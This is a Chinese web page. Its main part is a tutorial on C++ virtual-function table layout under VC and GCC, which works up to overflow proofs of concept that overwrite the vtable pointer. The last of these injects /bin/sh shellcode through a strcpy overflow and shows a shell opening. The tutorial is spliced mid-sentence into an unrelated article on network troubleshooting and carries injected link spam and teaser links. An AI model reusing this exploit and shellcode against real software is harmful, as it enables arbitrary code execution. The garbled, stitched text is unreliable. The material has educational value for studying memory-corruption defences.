C++中通過溢出覆蓋虛函數指針列表執行代碼

1.配置交換機

將交換機端口配置<!--StartFragment-->目錄:=版權所有 軟件 下載 學院 版權所有=

1. C++中虛函數的靜態聯編和動態聯編

2. VC中對象的空間組織和溢出試驗

3. GCC中對象的空間組織和溢出試驗

4. 參考

<一> C++中虛函數的靜態聯編和動態聯編

C++中的一大法寶就是虛函數,簡單來說就是加virtual要害字定義的函數。

其特性就是支持動態聯編。現在C++開發的大型軟件中幾乎已經離不開虛函數的

使用,一個典型的例子就是虛函數是MFC的基石之一。

這裏有兩個概念需要先解釋:=版權所有 軟件 下載 學院 版權所有=

靜態聯編:通俗點來講就是程序編譯時確定調用目標的地址。

動態聯編:程序運行階段確定調用目標的地址。

在C++中通常的函數調用都是靜態聯編,但假如定義函數時加了virtual要害

字,並且在調用函數時是通過指針或引用調用,那麽此時就是采用動態聯編。

一個簡單例子:

// test.cpp

#include<iostream.h>

class ClassA

{

public:

int num1;

ClassA(){ num1=0xffff; };

virtual void test1(void){};

virtual void test2(void){};

};

ClassA objA,* pobjA;

int main(void)

{

pobjA=&objA;

objA.test1();

objA.test2();

pobjA->test1();

pobjA->test2();

return 0;

}

使用VC編譯:

開一個命令行直接在命令行調用cl來編譯: (假如你安裝vc時沒有選擇注冊環境

變量,那麽先在命令行運行VC目錄下bin\VCVARS32.BAT )

cl test.cpp /Fa

産生test.asm中間彙編代碼

接下來就看看asm裏有什麽玄虛,分析起來有點長,要有耐心 !

我們來看看:

數據定義:

_BSS SEGMENT

?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位

?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一個地址32位

_BSS ENDS

看到objA爲64位,裏邊存放了哪些內容呢? 接著看看構造函數:

_this$ = -4

??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定義了一個變量 _this ?!

; File test.cpp

; Line 6

push ebp

mov ebp, esp

push ecx

mov DWord PTR _this$[ebp], ecx ; ecx 賦值給 _this ?? 不明白??

mov eax, DWORD PTR _this$[ebp]

mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

; ClassA::`vftable'

; 前面的部分都是編譯器加的東東,我們的賦值在這裏

mov ecx, DWORD PTR _this$[ebp]

mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;

; 看來 _this+4就是num1的地址

mov eax, DWORD PTR _this$[ebp]

mov esp, ebp

pop ebp

ret 0

??0ClassA@@QAE@XZ ENDP

那個_this和mov DWORD PTR _this$[ebp], ecx 讓人比較郁悶了吧,不急看看何

處調用的構造函數:

_$E9 PROC NEAR

; File test.cpp

; Line 10

push ebp

mov ebp, esp

mov ecx, OFFSET FLAT:?objA@@3VClassA@@A

call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()

pop ebp

ret 0

_$E9 ENDP

看,ecx指向objA的地址,通過賦值,那個_this就是objA的開始地址,其實CLASS中

的非靜態方法編譯器編譯時都會自動添加一個this變量,並且在函數開始處把ecx

賦值給他,指向調用該方法的對象的地址 。

那麽構造函數裏的這兩行又是幹什麽呢?

mov eax, DWORD PTR _this$[ebp]

mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

; ClassA::`vftable'

我們已經知道_this保存的爲對象地址: &objA。 那麽 eax = &objA

接著就相當于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@

來看看 ??_7ClassA@@6B@ 是哪個道上混的:

CONST SEGMENT

??_7ClassA@@6B@

DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'

DD FLAT:?test2@ClassA@@UAEXXZ

CONST ENDS

看來這裏存放的就是test1(),test2()函數的入口地址 ! 那麽這個賦值:

mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

; ClassA::`vftable'

就是在對象的起始地址填入這麽一個地址列表的地址。

好了,至此我們已經看到了objA的構造了:

| 低地址 |

+--------+ ---> objA的起始地址 &objA

|pvftable|

+--------+-------------------------+

| num1 | num1變量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a> |

+--------+ ---> objA的結束地址 +--->+--------------+ 地址表 vftable

| 高地址 | |test1()的地址 |

+--------------+

|test2()的地址 |

+--------------+

來看看main函數:

_main PROC NEAR

; Line 13

push ebp

mov ebp, esp

; Line 14

mov DWORD PTR ?pobjA@@3PAVClassA@@A,

OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA

; Line 15

mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指針

; 指向調用者的地址

call ?test1@ClassA@@UAEXXZ ; objA.test1()

; objA.test1()直接調用,已經確定了地址

; Line 16

mov ecx, OFFSET FLAT:?objA@@3VClassA@@A

call ?test2@ClassA@@UAEXXZ ; objA.test2()

; Line 17

mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

mov edx, DWORD PTR [eax] ; edx = vftable

mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

call DWORD PTR [edx] ;

; call vftable[0] 即 pobjA->test1() 看地址是動態查找的 ; )

; Line 18

mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

mov edx, DWORD PTR [eax]

mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

call DWORD PTR [edx+4] ; pobjA->test2()

; call vftable[1] 而vftable[1]裏存放的是test2()的入口地址

; Line 19

xor eax, eax

; Line 20

pop ebp

ret 0

_main ENDP

好了,相信到這裏你已經對動態聯編有了深刻印象。

<二> VC中對象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織和溢出試驗

通過上面的分析我們可以對對象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織概括如下:

| 低地址 |

+----------+ ---> objA的起始地址 &objA

|pvftable |--------------------->+

+----------+ |

|各成員變量| |

+----------+ ---> objA的結束地址 +---> +--------------+ 地址表 vftable

| 高地址 | |虛函數1的地址 |

+--------------+

|虛函數2的地址 |

+--------------+

| . . . . . . |

可以看出假如我們能覆蓋pvtable然後構造一個自己的vftable表那麽動態聯編就使得

我們能改變程序流程!

現在來作一個溢出試驗:

先寫個程序來看看

#include<iostream.h>

class ClassEx

{

};

int buff[1];

ClassEx obj1,obj2,* pobj;

int main(void)

{

cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;

return 0;

}

用cl編譯運行結果爲:

0x00408998:0x00408990:0x00408991:0x00408994

編譯器把buff的地址放到後面了!

把程序改一改,定義變量時換成:

ClassEx obj1,obj2,* pobj;

int buff[1];

結果還是一樣!! 不會是vc就是防著這一手吧!

看來想覆蓋不輕易呀 ; )

只能通過obj1 溢出覆蓋obj2了

//ex_vc.cpp

#include<iostream.h>

class ClassEx

{

public:

int buff[1];

virtual void test(void){ cout << "ClassEx::test()" << endl;};

};

void entry(void)

{

cout << "Why a u here ?!" << endl;

};

ClassEx obj1,obj2,* pobj;

int main(void)

{

pobj=&obj2;

obj2.test();

int vtab[1] = { (int) entry };//構造vtab,

//entry的入口地址

obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域

//這裏修改了函數指針列表的地址到vtab

pobj->test();

return 0;

}

編譯 cl ex_vc.cpp

運行結果:

ClassEx::test()

Why a u here ?!

測試環境: VC6

看我們修改了程序執行流程 ^_^

平時我們編程時可能用virtaul不多,但假如我們使用BC/VC等,且使用了廠商提供的

庫,其實我們已經大量使用了虛函數 ,以後寫程序可要小心了,一個不留神的變量

賦值可能會後患無窮。 //開始琢磨好多系統帶的程序也是vc寫的,裏邊會不會 ....

<三> GCC中對象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>組織和溢出試驗

剛才我們已經分析完vc下的許多細節了,那麽我們接下來看看gcc裏有沒有什麽不

一樣!分析方法一樣,就是寫個test.cpp用gcc -S test.cpp 來編譯得到彙編文件

test.s 然後分析test.s我們就能得到許多細節上的東西。

通過分析我們可以看到:

gcc中對象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>結構如下:

| 低地址 |

+---------------+ 對象的開始地址

| |

| 成員變量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a> |

| |

+---------------+

| pvftable |----------->+------------------+ vftable

+---------------+ | 0 |

| 高地址 | +------------------+

| XXXXXXXX |

+------------------+

| 0 |

+----------------- +

| 虛函數1入口地址 |

+------------------+

| 0 |

+----------------- +

| 虛函數2入口地址 |

+------------------+

| . . . . . . |

哈哈,可以看到gcc下有個非常大的優勢,就是成員變量在pvftable

前面,要是溢出成員變量賦值就能覆蓋pvftable,比vc下方便多了!

來寫個溢出測試程序:

//test.cpp

#include<iostream.h>

class ClassTest

{

public:

long buff[1]; //大小爲1

virtual void test(void)

{

cout << "ClassTest test()" << endl;

}

};

void entry(void)

{

cout << "Why are u here ?!" << endl;

}

int main(void)

{

ClassTest a,*p =&a;

long addr[] = {0,0,0,(long)entry}; //構建的虛函數表

//test() -> entry()

a.buff[1] = ( long ) addr;// 溢出,操作了虛函數列表指針

a.test(); //靜態聯編的,不會有事

p->test(); //動態聯編的,到我們的函數表去找地址,

// 結果就變成了調用函數 entry()

}

編譯: gcc test.cpp -lstdc++

執行結果:

bash-2.05# ./a.out

ClassTest test()

Why are u here ?!

測試程序說明:

具體的就是gcc -S test.cpp生成 test.s 後裏邊有這麽一段:

.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits

.p2align 2

.type _vt$9ClassTest,@object

.size _vt$9ClassTest,24

_vt$9ClassTest:

.value 0

.value 0

.long __tf9ClassTest

.value 0

.value 0

.long test__9ClassTest ----------+

.zero 8 |

.comm __ti9ClassTest,8,4 |

|

|

test()的地址 <----+

這就是其虛函數列表裏的內容了。

test()地址在第3個(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空間</Font></a>

所以我們構造addr[]時:

long addr[] = {0,0,0,(long)entry};

就覆蓋了test()函數的地址 爲 entry()的地址

p->test()

時就跑到我們構建的地址表裏取了entry的地址去運行了

測試環境 FreeBSD 4.4

gcc 2.95.3

來一個真實一點的測試:

通過溢出覆蓋pvftable,時期指向一個我們自己構造的

vftable,並且讓vftable的虛函數地址指向我們的一段shellcode

從而得到一個shell。

#include<iostream.h>

#include<stdio.h>

class ClassBase //定義一個基礎類

{

public:

char buff[128];

void setBuffer(char * s)

{

strcpy(buff,s);

};

virtual void printBuffer(void){}; //虛函數

};

class ClassA :public ClassBase

{

public:

void printBuffer(void)

{

cout << "Name :" << buff << endl;

};

};

class ClassB : public ClassBase

{

public:

void printBuffer(void)

{

cout << "The text : " << buff << endl;

};

};

char buffer[512],*pc;

long * pl = (long *) buffer;

long addr = 0xbfbffabc; // 在我的機器上就是 &b ^_*

char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";

int i;

int main(void)

{

ClassA a;

ClassB b;

ClassBase * classBuff[2] = { &a,&b };

a.setBuffer("Tom");

b.setBuffer("Hello ! This is world of c++ .");

for(i=0;i<2;i++) //C++中的慣用手法,

//一個基礎類的指針指向上層類對象時調

//用的爲高層類的虛函數

classBuff[i]->printBuffer(); // 這裏是正常用法

cout << &a << " : " << &b << endl; // &b就是上面addr的值,

//假如你的機器上兩個值不同就改一改addr值吧!

//構造一個非凡的buff呆會給b.setBuffer

// 在開始處構造一個vftable

pl[0]=0xAAAAAAAA; //填充1

pl[1]=0xAAAAAAAA; //填充2

pl[2]=0xAAAAAAAA; //填充3

pl[3]=addr+16; //虛函數printBuffer入口地址

// 的位置指向shell代碼處了

pc = buffer+16;

strcpy(pc,shellcode);

pc+=strlen(shellcode);

for(;pc - buffer < 128 ; *pc++='A'); //填充

pl=(long *) pc;

*pl= addr; //覆蓋pvftable使其指向我們構造的列表

b.setBuffer(buffer); //溢出了吧 .

// 再來一次

for(i=0;i<2;i++)

classBuff[i]->printBuffer(); // classBuffer[1].printBuffer

// 時一個shell就出來了

return 0;

}

bash-2.05$ ./a.out

Name :Tom

The text : Hello ! This is world of c++ .

0xbfbffb44 : 0xbfbffabc

Name :

$ <------ 呵呵,成功了

說明:

addr = &b 也就是 &b.buff[0]

b.setBuffer(buffer)

就是讓 b.buff溢出,覆蓋128+4+1個地址。

此時內存中的構造如下:

&b.buff[0] 也是 &b

^

|

|

[填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0]

____ ^ ___

| | |

| | |

| +---+ | |

| | |

+---------------> 128 <--------------+ |

|

此處即pvftable項 ,被溢出覆蓋爲 addr <---+

現在b.buff[0]的開始處就構建了一個我們自己的虛

函數表,虛函數的入口地址爲shellcode的地址 !

本文只是一個引導性文字,還有許多沒

有提到的細節,需要自己去分析。

俗話說自己動手豐衣足食 *_&

<四> 參考

Phrack56# << SMASHING C++ VPTRS >>

=版權所有 軟件 下載 學院 版權所有=

個人愚見,望斧正!

__watercloud__

(watercloud@nsfocus.com)

爲100M全雙工,服務器安裝一塊Intell00M EISA網卡,在大流量負荷數據傳輸時,速度變得極慢,最後發現這款網卡不支持全雙工。將交換機端口改爲半雙工以後,故障消失。這說明交換機的端口與網卡的速率和雙工方式必須一致。目前有許多自適應的網卡和交換機,由于品牌的不一致,往往不能正確實現全雙工方式,只有手工強制設定才能解決。

2.雙絞線的線序

將服務器與交換機的距離由5米改爲60米,結果無論如何也連接不通,爲什麽呢?以太網一般使用兩對雙絞線,排列在1、2、3、6的位置,假如使用的不是兩對線,而是將原配對使用的線分開使用,就會形成纏繞,從而産生較大的串擾(NEXT),影響網絡性能。上述故障的原因是由于3、6未使用配對線,在距離變長的情況下連接不通。將RJ45頭重新按線序做過以後,一切恢複正常。

3.網絡與硬盤

基于文件訪問和打印的網絡的瓶頸是服務器硬盤的速度,所以配置好服務器硬盤對于網絡的性能起著決定性的作用。以下提供幾點意見供你參考:

·選用SCSI接口和高轉速硬盤。

·硬盤陣列卡能較大幅度地提升硬盤的讀寫性能和安全性,建議選用。

·不要使低速SCSI設備(如CD)與硬盤共用同一SCSI通道。

4.網段與流量

某台服務器,有兩台文件讀寫極爲頻繁的工作站,當服務器只安裝一塊網卡,形成單獨網段時,這個網段上的所有設備反應都很慢,當服務器安裝了兩塊網卡,形成兩個網段以後,將這兩台文件讀寫極爲頻繁的工作站分別接在不同的網段上,網絡中所有設備的反應速度都有了顯著增加。這是因爲增加的網段分擔了原來較爲集中的數據流量,從而提高了網絡的反應速度。

5.橋接與路由

安裝一套微波聯網設備,上網調試時服務器上總是提示當前網段號應是對方的網段號。將服務器的網段號與對方改爲一致後,服務器的報警消失了。啊!原來這是一套具有橋接性質的設備。後來與另外一個地點安裝微波聯網設備,換用了其他一家廠商的産品,再連接,將兩邊的網段號改爲一致,可當裝上設備以後,服務器又出現了報警:當前路由錯誤。修改了一邊的網段以後,報警消失了。很明顯這是一套具有路由性質的設備。橋的特征是在同一網段上,而路由必須在不同網段上。

6.廣播幹擾

上述通過橋接設備聯網的兩端,分別有一套通過廣播發送信息的應用軟件。當它們同時運行時,兩邊的服務器均會發出報警:收到不完全的包。將一套應用軟件轉移到另外一個網段上以後,此報警消失。這是因爲網絡的廣播在同一網段上是沒有限制的。兩個廣播就産生了相互幹擾從而産生報警。而將一個應用軟件移到另外一個網段以後,就相當于把這個網段的廣播與另外網段上的廣播設置了路由,從而限制了廣播的幹擾,這也是路由器最重要的作用。

7.WAN與接地

無意將路由器的電源插頭插在了市電的插座上,結果64K DDN就是無法聯通。電信局來人檢查線路都很正常,最後檢查路由器電源的接地電壓,發現不對,換回到UPS的插座上,一切恢複正常。

路由器的電源插頭接地端壞掉,從而造成數據包經常丟失,做PING連接時,時好時壞。更換電源線後一切正常。WAN的連接因爲涉及到遠程線路,所以對于接地要求較爲嚴格,才能保證較強的抗幹擾性,達到規定的連接速率,不然會出現希奇的故障。

C++函數如何操作堆棧指針esp
  有點好奇,所以跟蹤 esp 的變化情況,不知這樣理解對不對,好不好?// 本人初學,希望可以和大家交流一下,你怎麽理解的?// 編譯環境 WIN XP sp2// vc 6.0// e-mail: shoow@126.com#include...查看完整版>>C++函數如何操作堆棧指針esp
 
讓 VB 執行自定義字符串代碼的 API 函數。
Private Declare Function EbExecuteLine Lib "vba6.dll" ( _ ByVal pStringToExec As Long, _ ByVal Unknownn1 As Long, _ ByVal Unknownn2 As Long, _ ByVal fCheckOnly As Long) As Long...查看完整版>>讓 VB 執行自定義字符串代碼的 API 函數。
 
讓 VB 執行自定義字符串代碼的 API 函數。
Private Declare Function EbExecuteLine Lib "vba6.dll" ( _ ByVal pStringToExec As Long, _ ByVal Unknownn1 As Long, _ ByVal Unknownn2 As Long, _ ByVal fCheckOnly As Long) As Long...查看完整版>>讓 VB 執行自定義字符串代碼的 API 函數。
 
C/C++中函數指針的含義
  函數存放在內存的代碼區域內,它們同樣有地址,我們如何能獲得函數的地址呢?   假如我們有一個int test(int a)的函數,那麽,它的地址就是函數的名字,這一點如同數組一樣,數組的名字就是數組的起始地址。 ...查看完整版>>C/C++中函數指針的含義
 
C/C++語言中指向函數的指針
  “在C語言中,函數本身不是變量,但可以定義指向函數的指針,這種指針可以被賦值、存放于數組之中,傳遞給函數及作爲函數的返回值等” --《The C Programming Language Second Edition》 下面給出幾個簡單的例...查看完整版>>C/C++語言中指向函數的指針
 
C/C++中多維數組的指針作爲函數參數傳遞!
/*程序作者:管甯 站點:www.cndev-lab.com 所有稿件均有版權,如要轉載,請務必聞名出處和作者*/ #include <stdio.h> main() { void search_score(); /* 定義自定義涵數類型爲不返回型 */ void count_avg(); /* 定...查看完整版>>C/C++中多維數組的指針作爲函數參數傳遞!
 
C++中函數指針數組的妙用
  筆者在開發某軟件過程中碰到這樣一個問題,前級模塊傳給我二進制數據,輸入參數爲 char* buffer和 int length,buffer是數據的首地址,length表示這批數據的長度。數據的特點是:長度不定,類型不定,由第一個字...查看完整版>>C++中函數指針數組的妙用
 
java和c++比較(1)--虛函數和指針
1.Java中有虛函數,但是沒指針,那也許會有這樣的問題,那java是怎麽實現多態的? java中可以肯定是有虛函數的,而且我們假如不申明爲final形他默認就是虛函數.不用vitual申明. "In Java, you do not need to declare a m...查看完整版>>java和c++比較(1)--虛函數和指針
 
翻譯:Effective C++, 3rd Edition, Item 33: 避免覆蓋(hiding)“通過繼承得到的名字”(下)
這一行爲背後的根本原因是爲了防止“當你在一個 library 或者 application framework 中創建一個新的 derived class 時,偶然地發生從遙遠的 base classes 繼承 overloads 的情況”。不幸的是,一般情況下...查看完整版>>翻譯:Effective C++, 3rd Edition, Item 33: 避免覆蓋(hiding)“通過繼承得到的名字”(下)
 
 
回到王朝網路移動版首頁